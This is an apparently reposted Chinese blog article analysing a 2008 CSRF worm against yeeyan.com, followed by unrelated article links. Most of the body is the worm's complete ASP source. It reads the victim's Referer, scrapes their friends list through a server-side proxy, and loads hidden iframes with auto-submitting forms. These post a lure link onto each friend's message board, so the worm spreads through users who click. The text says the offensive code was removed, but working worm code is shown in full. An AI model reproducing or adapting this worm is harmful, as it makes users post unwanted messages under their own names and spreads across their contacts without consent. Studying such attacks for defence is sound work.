译言CSRF蠕虫分析[zt]

2023-12-11 05:30
文章标签 分析 csrf zt 蠕虫 译言

本文主要是介绍译言CSRF蠕虫分析[zt],希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

放出的代码都在 这里,代码是我花了一天的时间构思写出来的,具有攻击性的代码已经去掉。目前译言上的CSRF蠕虫已经被抹掉。这样的攻击代码可以做得非常的隐蔽,顺便加上了referer判断。而蠕虫代码就是靠得到的这个referer值进行后续操作的:)。由于在AJAX无 法跨域获取操作第三方服务器上的资源,于是使用了服务端代理来完全跨域获取数据的操作(Microsoft.XMLHTTP控件的使用)。看下面这段代码的注释:

r = Request.ServerVariables("HTTP_REFERER") '获取用户的来源地址,如:http://www.yeeyan.com/space/show/hving

If instr(r,"http://www.yeeyan.com/space/show") > 0 Then 'referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址

......

id = Mid(r,34) '获取用户标识ID,如:hving
furl = "http://www.yeeyan.com/space/friends/" + id '用户的好友列表链接是这样的
Set http=Server.CreateObject("Microsoft.XMLHTTP") '使用这个控件
http.Open "GET",furl,False '同步,GET请求furl链接
http.Send '发送请求
ftext = http.ResponseText '返回请求的结果,为furl链接对应的HTML内容
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext) '正则获取被攻击用户的所有好友ID值,CSRF留言时需要这个值
farray = Split(fstr , " | ") '下面几句就是对获取到的好友ID值进行简单处理,然后扔进f(999)这个数组中去
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing

s = ""
For i = 0 To ubound(farray) - 1
s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接着循环遍历好友列表,使用iframe发起CSRF攻击
Next
Response.write(s)
......
End If
%>

发起CSRF攻击的yeeyan_iframe.asp的代码如下,现在兼容FF浏览器了:),表单提交兼容问题,在这说过。

id = Request("id")
s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/'>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='The delicious Tools for yeeyan translation: http://www.chyouth.gov.cn/yy.asp' name='data[Post][content]'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value=" + id + " name='ymsgee'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value=" + id + " name='ymsgee_username'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)

这就是今天这个译言CSRF蠕虫(或蠕虫雏形)的实现过程了。根据这个原理,很多具有CSRF漏洞的网站都将受到这类的威胁。我也不想来个总结什么的。本来上个周末是准备拿饭否开刀的,不过貌似修补了这篇文章《JSON Hijacking的利用以及Web API安全》提过的漏洞(没修补全)。80sec今天放出的百度空间CSRF蠕虫也很经典。

CSRF蠕虫就是个实实在在的东西。最后,yeeyan上某人对我说了这句话:真是奇怪,你做测试干嘛要影响别人呢,做一个人见人爱的好学生吧~

 

 

 

 

nice job:)

用服务端的Microsoft.XMLHTTP控件解决了可变ID的问题。只需要一个链接,类似于这样:http://www.evilsite.com/yeeyan.asp,发送到你的译言帐户的个人空间留言板去,欺骗用户点击后,就可以很快传播(向被“感染”用户的每个好友的留言板上发送相同信息,发送方是那些因为好奇而点击CSRF链接的人)。这完全不需要客户端脚本。

yeeyan.asp code:

<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
r = Request.ServerVariables("HTTP_REFERER")

If instr(r,"http://www.yeeyan.com/space/show") > 0 Then

Function regx(patrn, str)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
For Each Match in Matches
RetStr = RetStr & Match.Value & " | "
Next
regx = RetStr
End Function

Function bytes2BSTR(vIn)
dim strReturn
dim i1,ThisCharCode,NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
End Function

id = Mid(r,34)
furl = "http://www.yeeyan.com/space/friends/" + id
Set http=Server.CreateObject("Microsoft.XMLHTTP")
http.Open "GET",furl,False
http.Send
ftext = http.ResponseText
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
farray = Split(fstr , " | ")
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing

s = ""
For i = 0 To ubound(farray) - 1
s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>"
Next
Response.write(s)

'    Set http=Server.CreateObject("Microsoft.XMLHTTP")
'    http.open "POST","http://www.yeeyan.com/groups/newTopic/",False
'    http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
'    c = "hello"
'    cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)
'    http.send cc

End If
%>

yeeyan_iframe.asp code:

<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
id = Request("id")
s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/' οnsubmit='return false'>"
s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation: http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>"
s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"
s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)

%>

相关截图:

导致CSRF的原形(yeeyan.asp发生作用后的客户端源码):

PS:我几个月前就给yeeyan.com发过这个CSRF漏洞报告,居然到现在还没修复。

转载于:https://www.cnblogs.com/rootq/archive/2008/11/21/1338768.html

这篇关于译言CSRF蠕虫分析[zt]的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/479589

相关文章

Go标准库常见错误分析和解决办法

《Go标准库常见错误分析和解决办法》Go语言的标准库为开发者提供了丰富且高效的工具,涵盖了从网络编程到文件操作等各个方面,然而,标准库虽好,使用不当却可能适得其反,正所谓工欲善其事,必先利其器,本文将... 目录1. 使用了错误的time.Duration2. time.After导致的内存泄漏3. jsO

Spring事务中@Transactional注解不生效的原因分析与解决

《Spring事务中@Transactional注解不生效的原因分析与解决》在Spring框架中,@Transactional注解是管理数据库事务的核心方式,本文将深入分析事务自调用的底层原理,解释为... 目录1. 引言2. 事务自调用问题重现2.1 示例代码2.2 问题现象3. 为什么事务自调用会失效3

找不到Anaconda prompt终端的原因分析及解决方案

《找不到Anacondaprompt终端的原因分析及解决方案》因为anaconda还没有初始化,在安装anaconda的过程中,有一行是否要添加anaconda到菜单目录中,由于没有勾选,导致没有菜... 目录问题原因问http://www.chinasem.cn题解决安装了 Anaconda 却找不到 An

Spring定时任务只执行一次的原因分析与解决方案

《Spring定时任务只执行一次的原因分析与解决方案》在使用Spring的@Scheduled定时任务时,你是否遇到过任务只执行一次,后续不再触发的情况?这种情况可能由多种原因导致,如未启用调度、线程... 目录1. 问题背景2. Spring定时任务的基本用法3. 为什么定时任务只执行一次?3.1 未启用

C++ 各种map特点对比分析

《C++各种map特点对比分析》文章比较了C++中不同类型的map(如std::map,std::unordered_map,std::multimap,std::unordered_multima... 目录特点比较C++ 示例代码 ​​​​​​代码解释特点比较1. std::map底层实现:基于红黑

Spring、Spring Boot、Spring Cloud 的区别与联系分析

《Spring、SpringBoot、SpringCloud的区别与联系分析》Spring、SpringBoot和SpringCloud是Java开发中常用的框架,分别针对企业级应用开发、快速开... 目录1. Spring 框架2. Spring Boot3. Spring Cloud总结1. Sprin

Spring 中 BeanFactoryPostProcessor 的作用和示例源码分析

《Spring中BeanFactoryPostProcessor的作用和示例源码分析》Spring的BeanFactoryPostProcessor是容器初始化的扩展接口,允许在Bean实例化前... 目录一、概览1. 核心定位2. 核心功能详解3. 关键特性二、Spring 内置的 BeanFactory

MyBatis-Plus中Service接口的lambdaUpdate用法及实例分析

《MyBatis-Plus中Service接口的lambdaUpdate用法及实例分析》本文将详细讲解MyBatis-Plus中的lambdaUpdate用法,并提供丰富的案例来帮助读者更好地理解和应... 目录深入探索MyBATis-Plus中Service接口的lambdaUpdate用法及示例案例背景

MyBatis-Plus中静态工具Db的多种用法及实例分析

《MyBatis-Plus中静态工具Db的多种用法及实例分析》本文将详细讲解MyBatis-Plus中静态工具Db的各种用法,并结合具体案例进行演示和说明,具有很好的参考价值,希望对大家有所帮助,如有... 目录MyBATis-Plus中静态工具Db的多种用法及实例案例背景使用静态工具Db进行数据库操作插入

Go使用pprof进行CPU,内存和阻塞情况分析

《Go使用pprof进行CPU,内存和阻塞情况分析》Go语言提供了强大的pprof工具,用于分析CPU、内存、Goroutine阻塞等性能问题,帮助开发者优化程序,提高运行效率,下面我们就来深入了解下... 目录1. pprof 介绍2. 快速上手:启用 pprof3. CPU Profiling:分析 C